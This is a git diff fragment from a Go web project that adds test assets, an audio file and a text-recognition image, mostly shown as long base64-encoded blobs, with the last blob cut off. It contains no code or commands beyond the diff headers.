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ARACYATwBNAF8AoAC0AK0AkgA9AAcA///x//P/1v+P/23/Uv9T/6b/2v/P/8X/m/97/5b/p/+w/7f/k/9v/1D/Lf9V/53/t/+8/6T/ev+G/7H/1P/w//H/5v/Z/73/vf/d//T/BgASABkAPQB9ALgA0wDKAMQAxwDDAMsAxwCiAHYAQgANAPL/4//g/9//x//G/+b//P8hAEoAUABcAGYAUQBDAC8AEAD6/8D/fv9y/3n/mP/L/8b/q/+t/6//yP/p/+r/7f/l/8H/rv+a/43/s//Z/+H/4v/N/8D/4P8JACsAMAALAPL/6//l//H/9f/p/+7/+P8GACYASwB4AJgAjgB/AHcAcQCGAIoAZAA6AAgA2//N/8P/xf/T/8P/tf+7/8H/7f8lADYAPgA7ACIAFgAEAOv/7//q/9f/z/+1/7H/2//4/wcADwD+//n////z/+//7//u//3/9f/W/8z/y//V//D/AAASACoALQAgAAUA7v///xkAHwAYAPn/3f/b/9z/7v8RADAATgBNACYAFQAYACYASQBKACsAFwD5/+T/5v/c/97/5v/S/8r/y//A/9L/5//k//P//f/5/wQA/f/r//D/7v/z/wYA/f/z//z/+/8AAAgA+//5/wEAAwAKAAsACQAVABkAEwASABUAIAAvAC4AIgAZABoAHgAUAAMA/P/8/wQABgD7//j/AQANABkAFQAPABoAHgAbABQA///0//v//P/9////9f/w/+z/3v/c/+D/3v/l/+L/0//T/9X/2f/o//D/8v/7//r/9//6//n/AQARABQAEwAVABIAFwAbAA4AAgD//wMADwAQAAMA+f/3////EQAfACoANQA0ACYAFQAKAA4AGQAbABAAAAD6/wMADQARABEAEgAWABgAEgAKAAgABQD6/+X/1P/a//P/BwAJAPn/6v/s//b/9v/r/+D/2f/Y/9H/xP/C/8z/3f/p/+j/6P/3/wYACQAFAPr/8v/2//r//v8KABYAGgASAP//+f8IABUAGwAUAAEA+/8DAAkAEgAdACUALAAmABcAEQATABgAHAAPAP///P///wIABgAJABAAGQAeABgACQD9//j/8v/l/9X/zP/R/9r/5f/p/+L/5//2//r/+v/3/+//7v/q/9n/zv/K/9H/5v/o/97/3//c/97/6v/r/+7/+//+/wEABwAMABwAJAAXABIAEgARABoAFgAIAAUABwAIAAgABwAUACYAKgAmAB4AFwAfACcAIgAYABQAHAAiAB4AGAASAA8AFQAWABEADgAIAP7/6f/Q/8n/0f/f//T/+//x/+3/7f/s//H/9f/6//7/9P/m/9f/yP/J/9T/1f/X/93/3//h/+L/4v/q//j/CAAUABQAEwAZABoAFwAZAB4AIgAnACQAGAANAA4AFAAXABcAFQAUABIAEwAdACYAKQArACEAEwAVAB4AJgAsACgAHgAWAA0ADgASAA4ADAADAOn/1//N/8j/0v/j/+3/8f/q/+j/8v/6/wMACQABAPv/+v/w/+H/1//V/9r/3//g/9z/1v/X/9//5v/t//b/AQAIAAgACQAGAAAABgARABkAIQAfABQACwAFAAcACwAIAAkADQAGAAMAAwABAAoAGAAZABYAEwATAB0AIAAcABgACwABAAEA/f/6//3/+P/r/9r/zP/M/9r/7v8AAAMA+f/y//H/9v8DAA0ADAADAPn/8f/r/+v/7v/t/+r/6f/q/+//8//3//j/9P/1//7/BwAQABgAEgAGAP//AAAMABsAIgAeABIABQD+//f/8v/0//j/9f/u/+f/6v/5/wsAEQAJAAMACAAUABoAFgAMAAIA/f/7//n/+P/6//z/8//k/97/3//q//f///8BAAAA/v///wUAEAAfACQAGgAMAAQAAQAHAA0ACgAEAP//+//5//n/+f/9//3//P///wAAAQAIAAsACgAMAAsADAATABYAFgASAAUA+v/y/+b/4v/k/+f/7P/u/+j/6//2/wEACAAFAAAABAALABAADgABAPj/+f/7/wAAAwACAP//+v/y/+//8f/7/wgADQALAAcABQAKABYAIgAqACkAHwAWABAAEgAbAB4AGwAUAAkABQAHAAoACgAFAP7/+//6//3/BgALAA0ADQAHAAQACAAOABQAEwAKAAEA9f/o/+P/4v/n/+//7P/k/+L/6P/3/wIAAQD+//7/AQAGAAMA+//7//r/+f/5//n///8IAAgAAgD7//j/AgAOABAADgAIAAIABgAPABgAIgAkAB8AGgATABQAHAAhACUAIwAZAA4ACQAFAAUABAD///z/+v/8/wIABQAEAAQAAwAFAAwAEQAQAAoAAQD6//b/8v/u/+n/5v/o/+r/6P/o/+3/9f/9/wAA+//3//j//v////r/8v/u/+7/8P/0//j//P8CAAQAAAD8//7/AQAEAAUAAQD//wAAAgAGAAkADAASABMAEQASABQAFwAbABcADwAJAAgACgALAAYAAQD+//r/+f/4//b/+f/8//z/+v/7/wAABQAFAAIA/v/6//f/8f/p/+b/6//w/+//6P/l/+r/9P/8//z/9f/0//b/9f/z/+//7v/x//L/8v/x//D/9v/+///////+//z//v8AAAAAAQABAAEABAAFAAgADQAPABEAEgAQAA4ACwALAAwADAAMAA4ADQAMAAoABQADAAMAAQD8//T/8P/z//X/+P/8//z//v8DAAEA//8AAP//AAD+//j/+f/4//P/8v/v//D/+v/9//n/9v/z//b/+v/4//b/9v/0//X/9P/w//P/+////wAA/f/6//3/AAABAAEAAAABAAUABgAFAAYABwAIAAkACAAGAAYABgAGAAYABgAIAAoACwAJAAYAAQD+//z/+f/1//P/8//0//X/9//4//n//f8AAAIABAAGAAYABQADAAIAAAD9//r/+f/6//3//v/8//j/+P/6//3//f/9//v/+P/4//j/+f/8//7///8AAAEAAgAEAAUABgAHAAUAAwADAAIABQAHAAUABAACAAIABQAGAAgACgAJAAcABwAFAAYABgACAP7//P/7//z/+//4//j/+P/3//f/9v/3//z//v////////8BAAMABQAHAAgABQACAP7//v8BAAIA///6//b/9//5//r//P/8//z//P/7//r//v8CAAQABQACAAEAAgABAAIABAADAAEA///8//z//v///wEABAAGAAcABQADAAQABAAFAAQAAgAAAAEAAAD+//7///8BAAIA///9//v/+//9//3//P/8//3//v8AAAMABwAJAAoACgAKAAoACgAIAAgACQAIAAUAAAD9//7///8AAAIAAgACAAMAAwADAAYABwAIAAgABgAGAAYABAADAAIAAQACAAIAAQABAAAAAAABAAIABAAEAAQAAwABAAAAAAAAAAEAAQD///7//f/+/wEAAQAAAP7//v/9//7//f/8//3//f/9//7/AAACAAUABQAGAAcACAAJAAgABQAEAAQAAwADAAEAAAAAAAAAAAACAAIAAQACAAEAAgAEAAQAAwADAAIAAgACAAEAAQABAAAA/////wAAAQABAP7//P/8//7/AQACAAAA/v/+//3//v/+//7///////7//P/8//3///////7//f/9////AAAAAAAAAAAAAAAAAAABAAIAAwADAAIAAQAAAAAAAAABAAIAAgABAAAA/////wAAAAAAAP///v//////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAA//////////8AAP//AAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAQABAAAAAAD/////AAAAAAAAAAD//wAAAAAAAAEAAQABAAEAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAAAAAAABAAEAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAEAAAAAAP////8AAAAA////////AAAAAP//////////AAAAAAAAAAAAAAAAAAD///////8AAAAAAQAAAAAAAAABAAEAAQAAAAAAAAABAAEAAAD//wAAAAAAAAAAAAAAAAEAAQAAAAAAAAABAAEAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAA=
\ No newline at end of file
diff --git a/GinSkeleton/storage/app/test/A13_221.wav b/GinSkeleton/storage/app/test/A13_221.wav
new file mode 100644
index 0000000..6ab2cfc
Binary files /dev/null and b/GinSkeleton/storage/app/test/A13_221.wav differ
diff --git a/GinSkeleton/storage/app/test/文字识别.png b/GinSkeleton/storage/app/test/文字识别.png
new file mode 100644
index 0000000..8e1bce2
Binary files /dev/null and b/GinSkeleton/storage/app/test/文字识别.png differ
diff --git a/GinSkeleton/storage/app/test/文字识别.txt b/GinSkeleton/storage/app/test/文字识别.txt
new file mode 100644
index 0000000..01fc7d2
--- /dev/null
+++ b/GinSkeleton/storage/app/test/文字识别.txt
@@ -0,0 +1 @@
+iVBORw0KGgoAAAANSUhEUgAABR0AAAMLCAYAAADDozBWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAP+lSURBVHhe7N0FeBPnHwfwb9PUaaGF4sXd3R02xnDZcBk6fGPAxmCD/2CKO8PdneGuxaW4W7EWWqhr3n+uPaC5JG3apkL7/TzPQU5yuXvf019fsRBaICIiIiIiIiIiIjITlfw/ERERERERERERkVkw6EhERERERERERERmxaAjERERERERERERmRWDjkRERERERERERGRWDDoSERERERERERGRWTHoSERERERERERERGbFoCMRERERERERERGZFYOOREREREREREREZFYMOhIREREREREREZFZMehIREREREREREREZsWgIxEREREREREREZkVg45ERERERERERERkVgw6EhERERERERERkVkx6EhERERERERERERmxaAjERERERERERERmRWDjkRERERERERERGRWDDoSERERERERERGRWTHoSERERERERERERGbFoCMRERERERERERGZFYOOREREREREREREZFYMOhIREREREREREZFZMehIREREREREREREZsWgIxEREREREREREZkVg45ERERERERERERkVgw6EhERERERERERkVkx6EhERERERERERERmxaAjERERERERERERmRWDjkRERERERERERGRWDDoSERERERERERGRWTHoSERERERERERERGZlIbTkz0RE8RSKS4tGYMqhN9DIUyQqp1oYOKU/qtnJE2IKPoVZ382Be4CxS48KGWsNxuT+VWDo65+eBKRRKuC1+w+MXHkd4fK4Hss8aD7mN3QoYiVPoHgJCwOsreURIiIiIiKitIdBRyJKhCAcGFEZTSfdQJg8RaLOPwCbPWajeQZ5QkwBW/Ft8a/wr2eEPEFJjYKDt+LyjKYw9PVPTwLSKMVF4sn8dijVbyv85Sl67GtiwpGDGF3ZRp6Qjrx9Cxw+DFy+DPhrUyg8HHByAgoXBkqUACpVAlSxVCQYMADw8AD27dOmo708kYiIiIiIKG1h9WoiIqK4+PoC//tfdFDRxQXo0gX44w9g6lRg1izg77+BQYOA2rWj5//yC/DqlfzlGKSA44IFwMmT0csGBckziIiIiIiI0hYGHYmIiIy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